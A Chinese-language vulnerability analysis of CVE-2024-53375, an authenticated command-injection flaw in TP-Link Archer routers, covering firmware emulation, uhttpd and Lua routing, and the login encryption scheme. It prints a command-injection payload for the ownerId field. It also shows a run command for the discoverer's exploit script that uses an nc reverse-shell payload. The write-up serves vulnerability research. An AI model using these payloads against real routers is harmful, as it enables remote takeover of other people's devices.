漏洞情报
CVE-2024-53375:TP-Link Archer系列路由器存在一个已认证的远程代码执行(RCE)漏洞。该漏洞存在于TP-Link提供的HomeShield功能中的"tmp_get_sites"函数内。即使未启用HomeShield功能,此漏洞仍可被利用。
本文采用Archer AXE75(EU)_V1_1.2.2 Build 20240827固件进行分析、复现和挖掘
信息收集
拿到固件,binwalk解包,进入squashfs-root目录下
看到是ARM架构32位
我们找到web服务器usr/sbin/uhttpd
uhttpd分析
main函数
找到uhttpd的main
函数。该函数用于启动一个轻量级Web服务器
以下按代码逻辑顺序分析各部分功能和实现细节,跳过不需要部分,命令行参数解析部分重点展开。
命令行参数解析
while ( 1 )
{
v11 = getopt(argc, (char *const *)argv, "fSDRC:K:N:E:I:p:s:h:c:l:L:d:r:m:n:x:i:t:T:A:u:U:");
v12 = v11;
if ( v11 <= 0 )
break;
switch ( v11 )
{
case 'A': ... case 'C': ... case 'D': ... /* 其他选项 */
default:
v37 = "Usage: %s -p [addr:]port [-h docroot]
" /* 使用说明 */
v36 = *argv;
goto LABEL_91;
}
}
- 功能:解析命令行参数,配置服务器的运行参数。
- 逻辑:
- 使用
getopt
循环处理选项,选项字符串为"fSDRC:K:N:E:I:p:s:h:c:l:L:d:r:m:n:x:i:t:T:A:u:U:"
。 - 将当前选项存入
v11
(并复制到v12
),若v11 <= 0
,退出循环。 - 使用
switch
根据选项字符执行对应逻辑。 - 无效选项打印使用说明并退出。
- 使用
- 选项字符串:
- 无参数选项:
f
,S
,D
,R
,l
,L
。 - 带参数选项:
C:
,K:
,N:
,E:
,I:
,p:
,s:
,h:
,c:
,d:
,r:
,m:
,n:
,x:
,i:
,t:
,T:
,A:
,u:
,U:
。 optarg
存储带参数选项的值。
- 无参数选项:
各选项详细分析
以下部分分析switch
中的选项逻辑和功能:
-A
:设置最大活动连接数
case 'A':
v46 = atoi((const char *)optarg);
p_tm_isdst = &filename[93].tm_isdst;
goto LABEL_108;
LABEL_108:
*p_tm_isdst = v46;
continue;
- 功能:设置服务器的最大活动连接数。
- 逻辑:将
optarg
转换为整数(atoi
),存储在filename[93].tm_isdst
。 - 细节:影响服务器的并发处理能力,复用
struct tm
字段存储配置。
-R
:启用RFC1918过滤
case 'R':
p_tm_year = &filename[93].tm_yday;
goto LABEL_104;
- 功能:启用RFC1918私有地址过滤。
- 逻辑:设置
filename[93].tm_yday=1
。 - 细节:限制私有IP访问。
-T
:设置网络超时
case 'T':
v46 = atoi((const char *)optarg);
p_tm_isdst = &filename[93].tm_wday;
goto LABEL_108;
- 功能:设置网络超时时间(秒)。
- 逻辑:将
optarg
转换为整数,存储在filename[93].tm_wday
。 - 细节:默认30秒。
-U
:设置ubus socket路径
case 'U':
v48 = (int)optarg;
p_tm_min = (struct tm *)&filename[94].tm_min;
goto LABEL_110;
LABEL_110:
p_tm_min->tm_sec = v48;
continue;
- 功能:覆盖ubus socket路径。
- 逻辑:将
optarg
存储在filename[94].tm_min
。 - 细节:默认路径为
/var Rats/ubus.sock
。
-h
:设置文档根目录
case 'h':
if ( realpath((const char *)optarg, (char *)filename) )
continue;
v39 = (const char *)optarg;
v40 = (FILE *)stderr;
v41 = _errno_location();
v42 = strerror(*v41);
fprintf(v40, "Error: Invalid directory %s: %s
", v39, v42);
goto LABEL_82;
- 功能:指定文档根目录。
- 逻辑:
- 使用
realpath
解析optarg
到filename
,验证路径。 - 如果无效,打印错误并退出。
- 使用
- 细节:默认根目录为
.
。
-n
:设置最大并发请求数
case 'n':
v46 = atoi((const char *)optarg);
p_tm_isdst = &filename[93].tm_gmtoff;
goto LABEL_108;
- 功能:设置最大并发请求数。
- 逻辑:将
optarg
转换为整数,存储在filename[93].tm_gmtoff
。 - 细节:默认值8。
-p
、-s
:绑定端口(普通或TLS)
case 'p':
case 's':
memset(v107, 0, sizeof(v107));
v16 = (const char *)optarg;
v17 = strrchr((const char *)optarg, 58);
if ( v17 )
{
v18 = v17 - v16;
v19 = *(unsigned __int8 *)v16 == 91;
if ( v16 >= v17 )
v19 = 0;
if ( v19 && *(v17 - 1) == 93 )
{
v18 -= 2;
v20 = v16 + 1;
if ( v18 >= 0x80 )
v18 = 128;
}
else
{
v20 = v16;
if ( v18 >= 0x80 )
v18 = 128;
}
v16 = v17 + 1;
memcpy(v107, v20, v18);
}
if ( v12 != 115 )
goto LABEL_38;
if ( sub_149F8(filename) )
{
fprintf((FILE *)stderr, "Notice: TLS support is disabled, ignoring '-s %s'
", optarg);
continue;
}
v98 = 1;
LABEL_38:
v101 = 1;
if ( v107[0] )
v21 = v107;
else
v21 = 0;
pai[0] = 0;
v22 = getaddrinfo(v21, v16, &req, pai);
/* 后续网络初始化逻辑 */
- 功能:
-p
:绑定普通HTTP端口。-s
:绑定HTTPS端口(需TLS支持)。
- 逻辑:
- 解析
optarg
格式为[addr]:port
(支持IPv6)。 - 分割地址(存入
v107
)和端口(存入v16
)。 - 对于
-s
,检查TLS支持,若不支持则忽略并设置v98=1
。 - 调用
getaddrinfo
解析地址,创建套接字,绑定端口。
- 解析
- 细节:
- 支持IPv4/IPv6,地址为空时绑定所有接口。
- TLS端口需
-C
和-K
配合。
-r
:设置认证领域
case 'r':
v48 = optarg;
p_tm_min = (struct tm *)&filename[93].tm_min;
goto LABEL_110;
- 功能:设置基本认证的领域名称。
- 逻辑:将
optarg
存储在filename[93].tm_min
。 - 细节:默认
"Protected Area"
。
-t
:设置脚本超时
case 't':
v46 = atoi((const char *)optarg);
p_tm_isdst = &filename[94].tm_wday;
goto LABEL_108;
- 功能:设置CGI/Lua/ubus脚本超时时间(秒)。
- 逻辑:将
optarg
转换为整数,存储在filename[94].tm_wday
。 - 细节:默认60秒。
-x
:设置CGI处理URL前缀
case 'x':
v48 = optarg;
p_tm_min = (struct tm *)&filename[93].tm_zone;
goto LABEL_110;
- 功能:指定CGI处理器的URL前缀。
- 逻辑:将
optarg
存储在filename[93].tm_zone
。 - 细节:默认
/cgi-bin
。
默认情况
default:
v37 = "Usage: %s -p [addr:]port [-h docroot]
" /* 详细使用说明 */
v36 = *argv;
goto LABEL_91;
LABEL_91:
fprintf(v38, v37, v36);
goto LABEL_82;
- 功能:处理无效选项,打印使用说明并退出。
- 逻辑:输出程序用法,设置退出状态
v35=1
。
参数验证
if ( v9 <= 1 )
v13 = v98;
else
v13 = 0;
if ( v13 )
{
v14 = "Error: Missing private key or certificate file
";
v15 = (FILE *)stderr;
goto LABEL_81;
}
if ( !v96 )
{
v14 = "Error: No sockets bound, unable to continue
";
v15 = (FILE *)stderr;
goto LABEL_81;
}
- 功能:验证命令行参数完整性。
- 逻辑:
- 如果启用了
-s
(v98=1
)且v9<=1
(缺少证书或私钥),报错退出。 - 如果
v96=0
(无成功绑定的套接字),报错退出。
- 如果启用了
- 细节:
v9
确保TLS配置完整(需-C
和-K
)。v96
记录绑定的套接字数量。
网络初始化
v25 = pai[0];
v97 = 0;
while ( 2 )
{
if ( v25 )
{
v26 = socket(v25->ai_family, v25->ai_socktype, v25->ai_protocol);
v27 = v26;
if ( setsockopt(v26, 1, 2, &v101, 4u) )
goto LABEL_53;
if ( filename[93].tm_isdst > 0 )
{
v104 = 3;
tm_isdst = filename[93].tm_isdst;
optval = 1;
if ( setsockopt(v27, 1, 9, &v101, 4u)
|| setsockopt(v27, 6, 4, &optval, 4u)
|| setsockopt(v27, 6, 5, &tm_isdst, 4u)
|| setsockopt(v27, 6, 6, &v104, 4u) )
{
v29 = (FILE *)stderr;
v30 = _errno_location();
v31 = strerror(*v30);
fprintf(v29, "Notice: Unable to enable TCP keep-alive: %s
", v31);
}
}
if ( v25->ai_family == 10 && setsockopt(v27, 41, 26, &v101, 4u) == -1 )
goto LABEL_53;
if ( bind(v27, v25->ai_addr, v25->ai_addrlen) == -1 )
goto LABEL_54;
if ( listen(v27, 64) == -1 )
goto LABEL_54;
v32 = uh_listener_add(v27, filename);
if ( v32 )
{
if ( v12 == 115 )
p_tm_mon = &filename[94].tm_mon;
else
p_tm_mon = 0;
if ( v12 == 115 )
p_tm_mon = (int *)p_tm_mon[6];
*(_DWORD *)(v32 + 52) = p_tm_mon;
v34 = fcntl(v27, 1);
fcntl(v27, 2, v34 | 1);
uh_ufd_add(v32, sub_14858, 65);
++v97;
}
else
{
fputs("uh_listener_add(): Failed to allocate memory
", (FILE *)stderr);
}
if ( v27 > 0 )
close(v27);
LABEL_51:
v25 = v25->ai_next;
continue;
}
break;
}
freeaddrinfo(pai[0]);
v96 += v97;
- 功能:创建TCP套接字,绑定地址和端口,启动监听。
- 逻辑:
- 使用
getaddrinfo
解析地址(从-p
或-s
)。 - 为每个地址创建套接字,设置
SO_REUSEADDR
和TCP keep-alive(若启用)。 - 调用
bind
和listen
,最大连接数64。 - 使用
uh_listener_add
注册监听器到事件循环。 - 增加
v97
(成功绑定计数),释放地址信息。 - 更新
v96
(总绑定计数)。
- 使用
- 细节:
- 支持IPv4/IPv6,TCP keep-alive增强连接稳定性。
uh_ufd_add
将套接字加入事件循环,回调函数为sub_14858
,后续如果想进一步分析http服务从这里入手。
服务器配置
uh_get_operation_mode(&dword_2B45C);
uh_get_local_addr(&dword_2B45C);
uh_get_admin_config(&dword_2B45C);
if ( filename[93].tm_gmtoff <= 0 )
filename[93].tm_gmtoff = 8;
if ( filename[93].tm_wday <= 0 )
filename[93].tm_wday = 30;
if ( !uh_index_files )
{
if ( byte_2B41C[0] )
{
memset(pai, 0, 0x80u);
sprintf((char *)pai, "index.%shtml", byte_2B41C);
uh_index_add(pai);
}
uh_index_add("index.html");
uh_index_add("index.htm");
uh_index_add("default.html");
uh_index_add("default.htm");
}
if ( filename[94].tm_wday <= 0 )
filename[94].tm_wday = 60;
if ( !filename[93].tm_zone )
filename[93].tm_zone = "/cgi-bin";
- 功能:设置服务器运行模式、地址和默认配置。
- 逻辑:
- 调用
uh_get_operation_mode
、uh_get_local_addr
、uh_get_admin_config
配置服务器。 - 设置默认值:最大并发请求数8(
tm_gmtoff
)、网络超时30秒(tm_wday
)、脚本超时60秒(filename[94].tm_wday
)、CGI前缀/cgi-bin
(tm_zone
)。 - 如果未指定索引页面,添加
index.html
等默认页面。
- 调用
- 细节:
- 默认索引页面支持
byte_2B41C
前缀(如index.<prefix>html
)。
- 默认索引页面支持
插件加载与ubus
v64 = dlopen("uhttpd_ubus.so", 257);
if ( v64 )
{
filename[94].tm_mday = (int)dlsym(v64, "uh_ubus_init");
...
}
v68 = ubus_connect("/var/run/ubus.sock");
dword_2B4AC = v68;
uloop_run(v88);
-
功能:加载
uhttpd_ubus.so
插件并连接到ubus服务。 -
逻辑:
- 使用
dlopen
加载uhttpd_ubus.so
,查找uh_ubus_init
、uh_ubus_close
、uh_ubus_request
符号。 - 如果加载成功,调用
uh_ubus_init
初始化ubus。 - 连接到
/var/run/ubus.sock
,存储连接句柄到dword_2B4AC
。 - 将ubus连接加入事件循环(
uloop_fd_add
)。 - 调用
ubus_add_object
注册对象。
- 使用
-
细节:
- ubus用于系统服务通信。
- 插件加载失败会打印警告但继续运行。
http请求处理函数调用链
sub_14858
接受一个新的客户端连接,并对其进行初始化和安全检查,最后调用sub_14784
处理HTTP请求
sub_14784
函数 sub_14784
是一个典型的 HTTP请求处理函数,用于处理已建立连接的客户端的数据接收与状态解析。在条件正确时跳转到sub_14760
sub_13FDC
函数sub_13FDC
是一个完整的 HTTP 请求处理器,负责从 TCP 流中读取并解析完整的 HTTP 请求头,验证安全性,进行身份认证,路由请求到 CGI 或静态资源,并启动响应流程。下面是解析请求行片段展示
重点看到CGI路由,uh_path_lookup(v2, v43)
解析出路径后传给uh_cgi_request(v2, v53, v48)
uh_cgi_request
函数 uh_cgi_request
是一个CGI(通用网关接口)请求处理器,用于在嵌入式 Web 服务器中执行外部 CGI 脚本,并将输出返回给客户端。
函数解析请求参数并设为环境变量,用以和外部程序交互,如下图
函数调用a3表示的外部处理程序,地址a3为uh_path_lookup
解析生成
总结
该固件主要功能在lua层实现,uhttpd只起到一个简单的web服务器框架作用,因此这里只是简单分析。
启动uhttpd程序
拿到固件,binwalk解包,进入squashfs-root目录下
复制qemu
cp $(which qemu-arm-static) .
尝试执行下面这条命令
sudo chroot . ./qemu-arm-static /usr/sbin/uhttpd -f -h /www -r Archer_AXE300 -x /cgi-bin -t 120 -T 30 -A 1 -n 3 -R -p 0.0.0.0:80
关掉nginx
sudo systemctl stop nginx
挂载两个目录
sudo mount --bind /dev ./dev
sudo mount --bind /proc ./proc
进入bin/bash
sudo chroot . bin/bash
启动ubusd
ubusd &
提示没有usock
前文分析到的,根据main函数ubus部分,我们需要给ubus.sock创建文件夹var/run
看一下,原文件夹不能用,操作如下
再次启动ubus,退出bash,发现启动ubus成功
重新启动uhttpd成功
用本机ip访问web服务,第一次启动会设置一个密码,之后就用这个密码登录
漏洞分析
漏洞点
漏洞发现者搜索命令执行的危险函数os.execute
,在usr/lib/lua/luci/model/avira.lua中发现一处危险点,avira是路由器嵌入的一个防毒软件。
os.execute("cp " .. PROC_PCTL .. ownerId .. " /tmp/visitList")
该型号固件lua代码的习惯,全大写的变量如PROC_PCTL一般定义在文件开头表示固定的某个文件,接下来要挖掘RCE漏洞可以忽略这些变量
local PROC_BLOCK = "/proc/block/block_insight"
这里的ownerId
从http请求读取,没有经过输入验证,需要data
中siteType=="visit"
、startIndex == 0
,为了利用漏洞过程不出错,我们给其他需要的变量也给出有效值。
还有一点值得注意的是,我们http接收的data经过json解码,因此,我们发送请求也要经过http编码。
路由分析
我们先找一下function AVIRA_GATHER:tmp_get_sites(app_form)
的调用点,发现在该lua文件找不到,于是在lua层,即usr/lib/lua
搜索tmp_get_sites
找到luci/controller/admin/smart_network.lua
的相关片段,先看到一个定义了操作映射的分发表smart_network_form
表结构如下
local smart_network_form = {
...
tmp_avira = {
...
["getInsightSites"] = {cb = tmp_get_sites},
...
}
...
}
在表下方就是一个路由逻辑,也可以查找smart_network_form
的调用找到该逻辑
由index
注册路由,从这里我们可以确定http请求的url末尾是/admin/smart_network
。另外两个函数对应ctl
也就是luci/model/controller.lua
中的具体实现
luci/model/controller.lua
有更清楚的传参和函数调用逻辑,ctl._index
逻辑如下,主要做错误处理,并通过http.formvalue()
从http请求拿到数据,传给smart_network.lua
中的smart_network_dispatch(http_form)
,这个函数再把同一文件下的分发表smart_network_form
和http数据一起给ctl.dispatch
http.formvalue()
函数涉及http请求格式,后面会重点分析
ctl.dispatch
定义如下,它将http请求中的form
和operation
查找smart_network_form
分发表对应到实际的处理函数,根据我们的目标tmp_get_sites
,应设置form=tmp_avira
和operation=getInsightSites
function dispatch(dispatch_tbl, http_form, hook)
local forms = http_form and http_form["form"]
local op = http_form and http_form["operation"] or ""
local success = true
local own_response
local errorcode_tbl = {}
local data, others, errorcode
local function _action_cb(cb, args)
local ret, errorcode, error_tbl = cb(unpack(args))
local data
if ret then
data = ret
else
success = false
if errorcode then
errorcode_tbl[#errorcode_tbl + 1] = errorcode
end
if error_tbl then
data = error_tbl
end
end
return ret, type(data) == "table" and data or nil
end
local function _dispatch(form)
local op_tbl = dispatch_tbl[form]
local action
if op_tbl then
action = op_tbl[op] or op_tbl[".super"]
end
if action and action.cb then
local args = op_tbl[".args"]
and {http_form, op_tbl[".args"], action.args}
or {http_form, action.args}
local ret, data = _action_cb(action.cb, args)
local others
if action.others then
_, others = _action_cb(action.others, args)
end
if hook and hook.post_hook then
_action_cb(hook.post_hook, {ret, action})
end
own_response = own_response or action.own_response
return data, others, action
else
success = false
errorcode_tbl[#errorcode_tbl + 1] = "no such callback"
end
end
local function _merge(tbl, updates, action, form)
if #updates == 0 then
-- @updates is a key-value table, or empty array
local prefix = action and action.merge_prefix
if prefix then
util.update_prefix(tbl, updates, prefix)
else
util.update(tbl, updates)
end
else
-- @updates is a non-empty array
util.update(tbl, {[form] = updates})
end
end
if type(forms) ~= "table" then
-- Single form
local form = forms
data, others = _dispatch(form)
else
-- Multiple forms
for _, form in ipairs(forms) do
local data_ret, others_ret, action = _dispatch(form)
if data_ret then
data = data or {}
_merge(data, data_ret, action, form)
end
if others_ret then
others = others or {}
_merge(others, others_ret, action, form)
end
end
end
if #errorcode_tbl > 0 then
errorcode = table.concat(errorcode_tbl, "&")
end
return {
success = success,
data = data,
others = others,
errorcode = errorcode
}
end
到这里,我们对进入漏洞点的过程基本分析清楚了。
http请求示例:
POST /cgi-bin/luci/;stok=abcd1234/admin/smart_network?form=tmp_avira HTTP/1.1
Host: 192.168.0.1
Content-Length: 512
Content-Type: application/x-www-form-urlencoded
User-Agent: Python-requests/2.28.1
Connection: keep-alive
operation=getInsightSites&sign=<encrypted_signature>&data=<encrypted_data>
data内容如下,然后经过json编码。
{
"ownerId": "../uptime /tmp/visitList;/bin/uname -a > /www/poc.txt;rm -rf",
"date": "today",
"type": "visit",
"startIndex": 0,
"amount": 1
}
"ownerId"
内容可以换成其他命令。
登录与请求格式分析
虽然触发漏洞的路径我们已经清楚了,但是TP-Link的登录和请求验证机制较为复杂,需要对Archer系列路由器的登录逻辑进行细致的分析。漏洞发现者使用了触发CVE-2022-30075漏洞在AX50的接入逻辑,写出可以在本漏洞直接使用的EXP。我们当然可以忽略这一部分,但是分析这个“造轮子”的过程也能增加我们对系统接收请求逻辑的认识。在已有现成登录逻辑的情况下,我们的分析也不用走弯路错路。
抓包分析
首先,我们先考虑登录逻辑。先通过web页面登录,在登录前后抓包。有三个重要的包,共同点是/login路径,分别是两个请求密钥的包和一个发送密码的包。根据“010001”可以猜测这两组密钥都是RSA公钥
登录逻辑
由/login找到usr/lib/lua/luci/controller/login.lua
最底下又是我们熟悉的分发逻辑,这套系统的lua层很多应用功能点都是这一套分发逻辑,而底层功能则是靠local ctl = require "luci.model.controller"
这样的形式调用。要注意的是这里有新旧两套分发表,但对我们功能点没有区别。
根据三个包的form和operation定位到对应的处理函数(form=login
包对应的operation已被编码,但是简单分析可以知道是login)
form=keys
对应的函数如下,从luci/model/asycrypto.lua
中的rsa_read_pubkey
函数读取RSA公钥。如下图二所示,读取RSA私钥的函数也在同一位置。这一组公私钥的获取形式都是通过asycrypto = require("luci.model.asycrypto").Crypto("rsa")
获取,uci_r:get("accountmgnt", "keys", "n")
会访问etc/config
下名为"accountmgnt"的文件,文件内容展示在下图三。这一组公钥记为password_rsa_n
、password_rsa_e
。
form=auth
对应的函数如下,同时发送了另一组RSA公钥和一个序列。RSA公钥获取方式有别于前面,调用 了service.read_rsakey()
,我们后面遇到根据获取方式不同即可区分两组密钥
这一组密钥具体获取方式和存储文件如下,记为sign_rsa_n
、sign_rsa_e
获取序列号方式如下,随机生成后保存在本地,序列号记为sign_seq
最后看到登录逻辑,login
函数
首先,参数从http请求获取,由于登录过程我们没输入账号,所以账号为默认admin
,此外local rsa2048_enable
决定下面用什么解密方式,很重要,我们查找etc/config/system
文件发现没有这个值,因此取默认值”false“
先看到密码解密
解密函数和form=keys
对应的获取公钥函数、我们看到的获取私钥函数在同一个文件下,通过asycrypto = require("luci.model.asycrypto").Crypto("rsa")
调用。因此,我们要提取form=keys
的响应包中的密钥password_rsa_n
、password_rsa_e
加密我们的密码
login
函数还实现一个重要功能,就是将"admin"和密码拼接计算hash
,然后将登录用到的各种数据通过sauth.write
写入cookie,一些数据后面会分析到。
登录后响应会附带一个需要用到的stok
请求格式确认
在luci/model/controller.lua
中,前面路由分析时提到的、漏洞点和登录程序都要经过的ctl._index(dispatch)
函数调用http.formvalue
从http请求解析数据。
luci/http.lua
中相关代码如下,Request在被调用时,构造函数Request._init_
初始化时,从环境变量中读取URL 中?
后的内容env.QUERY_STRING
并初步处理
params = protocol.urldecode_params(env.QUERY_STRING or "")
urldecode_params
将环境变量env.QUERY_STRING
解析为键值对,环境变量在前面解读uhttpd的uh_cgi_request
函数中解析和设置
同时注意初始化encrypt.need_encrypt = true
和renew_aeskey = false
、renew_aeskey = false
,后面会用到
然后看到Request.formvalue
函数,它判断没有读取输入,进入Request._parse_input_
函数,再打包参数调用protocol.parse_message_body
,最后将判断读取输入的标志置一。
函数parse_message_body
读取环境变量中的请求头参数根据抓包内容进入elseif msg.env.REQUEST_METHOD == "POST" and msg.env.CONTENT_TYPE and msg.env.CONTENT_TYPE:match("^application/x%-www%-form%-urlencoded")
分支
然后前面提到,encrypt.need_encrypt = true
,调用urldecode_message_body_decrypt(src, msg)
urldecode_message_body_decrypt(src, msg)
用于读取、解密并解析 HTTP 请求的消息体,它创建函数读取数据流、验证数据长度,然后解密数据,最后对解密的数据解析键值对。重点看解密逻辑local decrypted_data = decrypt(data, msg)
decrypt()
函数先匹配请求体中的sign
和data
,因此我们的请求体应该写成这两个部分,接着看两个部分分别是什么。
看到一个比较重要的信息:AES加密。解析sign
的函数service.analyze_signature(sig, msg.encrypt.renew_aeskey)
传递一个更新AES密钥的标志,据此决定解析sign
是否提取AES密钥。如果标志为否,AES密钥和hash
值、序列号encrypt.seqnum
都已存在,验证hash
值和序列号;否则hash
从sign
中提取,序列号encrypt.seqnum
现场读取,注意到读序列号的方式和前面form=auth
请求时收到的序列在同一处做相同处理,即这里读的就是当时生成的序列号。
最后用AES密钥解密data
,也就是说,无论是否更新密钥,密钥都要是存在的。但是前面Request
类初始化时,renew_aeskey
为false,而aeskey
为nil。也就是说,我们得找到改renew_aeskey
或者写aeskey
的地方。
在文件目录下搜索aeskey
,发现实现改renew_aeskey
或者写aeskey
的地方非常少,在Request
类所在文件http.lua
中同时存在改标志renew_aeskey
和写入aeskey
的程序
继续利用搜索结果,定位到同一个文件luci/dispatcher.lua
,且看行数很可能在同一个函数内
进入文件,相关程序在函数httpdispatch
下,这个函数在lua层启动时被usr/lib/lua/luci/sgi/cgi.lua
中的run
函数调用
函数httpdispatch
如下,这里先提取了请求的path
和form
,然后根据path
和form
判断是否需要加密和更新AES密钥。需要就会将renew_aeskey
置一,同时将需要加解密的标志置一,然后尝试从会话 (sysauth cookie) 中读取加密相关的数据,结合下面的表单我们可以知道系统在登录请求更新AES密钥,在登录后从sysauth cookie中用sdat = sauth.read(sess, true)
读取相关数据
看一下判断是否需要加密和更新AES密钥其实就是查表,我们也知道我们的前两个包不需要加密和更新AES密钥,而form=login
包则需要加密和更新AES密钥。
在登录后,sdat = sauth.read(sess, true)
从tmp/luci-sessions里的cookie文件里读取,我们可以用root权限看一下内容,当然这部分和我们的分析没什么关系,只是了解系统登录后的认证方式
回到正题,这里再次展示sign
的解析程序,函数function analyze_signature(sig, hasaeskey)
在/luci/service.lua
下。我们知道了登录请求时renew_aeskey
为true,我们需要在请求体的sign
里构造签名字符串,当然这种格式在后面的请求也能用,只不过aeskey
和aeskiv
不会被解析。最先对sign
做的处理是RSA解密,密钥来源于同文件的read_rsakey()
,这个函数读取的是form=auth
请求获得的密钥sign_rsa_n
、sign_rsa_e
。
构造签名字符串格式如下
k=<aeskey>&i=<aesiv>&h=<hash>&s=<seq>
看回函数decrypt
,我们重点研究一下签名sign
提取的数据用来做什么,hash
前面登录逻辑分析到了,拼接"admin"和密码取哈希值,在这里登录时存储,之后比较验证。seq值减去data
的长度后和之前发送的序列号sign_seq
比较,我们发送的seq
应该是sign_seq
+data
的长度。
最后看到data
的AES解码函数aes_dec_data
,函数aes_dec_data
函数的流程:
-
验证输入数据
data
和aeskey
的有效性; -
将
data
进行Base64解码 -
将解码后的数据写入临时文件
-
使用AES算法解密文件内容,输出到另一个临时文件
-
读取解密后的数据,清理临时文件,返回结果
-
如果任何步骤失败(输入无效、Base64解码失败、文件操作失败、解密失败等),返回nil。
到这里,我们的请求解析流程也完全清楚了
总结
整理我们分析到的内容并倒推,和服务器通信并触发漏洞的过程如下
-
获取签名密钥(
/login?form=auth
):- 格式:
POST http://<target>/cgi-bin/luci/;stok=/login?form=auth {'operation': 'read'}
- 响应:获取 RSA 密钥(
sign_rsa_n
,sign_rsa_e
)和序列号(sign_seq
)。
- 格式:
-
获取密码密钥(
/login?form=keys
):- 格式:
POST http://<target>/cgi-bin/luci/;stok=/login?form=keys {'operation': 'read'}
- 响应:获取密码 RSA 密钥(
password_rsa_n
,password_rsa_e
)。
- 格式:
-
登录请求(
/login?form=login
):- 格式:
POST http://<target>/cgi-bin/luci/;stok=/login?form=login {'sign': <encrypted_signature>, 'data': <encrypted_data>}
- 数据来源:
encrypted_data
:post_data
:operation
:'login'
。password
:使用password_rsa_n
和password_rsa_e
RSA加密用户输入的密码
post_data
序列化为URL编码字符串。- 使用AES加密,密钥为
self.aes_key
,初始向量为self.aes_iv
。 - 加密结果使用
base64.b64encode
编码为Base64格式。
encrypted_signature
:- 签名内容:
k=<aes_key>&i=<aes_iv>&h=<password_hash>&s=<sign_seq+len(encrypted_data)>
。aes_key
和aes_iv
:来自self.aes_key
和self.aes_iv
。password_hash
:对"admin"+args.p
进行MD5哈希(hashlib.md5
)。sign_seq
:从第一次请求获取的序列号。
- 使用
sign_rsa_n
和sign_rsa_e
RSA加密签名
- 签名内容:
- 响应:提取
stok
- 格式:
-
漏洞利用请求(
/admin/smart_network?form=tmp_avira
):-
格式:
POST http://<target>/cgi-bin/luci/;stok=<stok>/admin/smart_network?form=tmp_avira {'sign': <encrypted_signature>, 'data': <encrypted_data>}
-
数据来源:
-
stok
:登录响应。 -
encrypted_data
:operation
:'getInsightSites'
postdata
:ownerId
:命令注入 payload。date
:'today'
type
:'visit'
startIndex
:0
amount
:1
- 先对
postdata
进行json编码,后续处理同登录请求
-
encrypted_signature
:处理同登录请求
-
-
RCE脚本执行
根据之前的分析,我们已经完全了解应该如何登录并发送请求,这里使用脚本触发漏洞,来自漏洞发现者,-c
可以自己输入注入命令。
python3 1.py -t <host ip> -p <设置的axe75密码> -c "mknod /tmp/p p; nc <host ip> 4444 0</tmp/p | /bin/sh >/tmp/p 2>&1; rm -f /tmp/p"
效果如下
命令注入点分析和验证输入合法性
根据本漏洞的思路,在usr/lib/lua目录下搜索lua脚本的危险函数,关键词”os.execute“、”call“、”fork“等,除漏洞点外,用户控制的参数都有严格的验证,下面举例分析。
-
os.execute("/sbin/switch_mode_multi %s %s >/dev/null 2>&1" %{old_mode, new_mode})
luci/controller/admin/system.lua,漏洞函数
调用函数点,可以看到old_mode由读取系统配置获得,new_mode由http请求读取。但是new_mode做了严格的验证,只能在有限的几个模式中选择,无法注入命令
-
os.execute("vpn_mgmt client del "..mac)
luci/controller/admin/vpn.lua,漏洞函数,有mac验证
找到验证点,,程序使用正则表达式匹配mac地址,确认无法注入
附录
参考文章
CVE-2024-53375 TP-Link Archer router series Authenticated RCE :: Thotty
ThottySploity/CVE-2024-53375: TP-Link Archer AXE75 Authenticated Command Injection
CVE-2022-30075/tplink.py at main · aaronsvk/CVE-2022-30075 · GitHub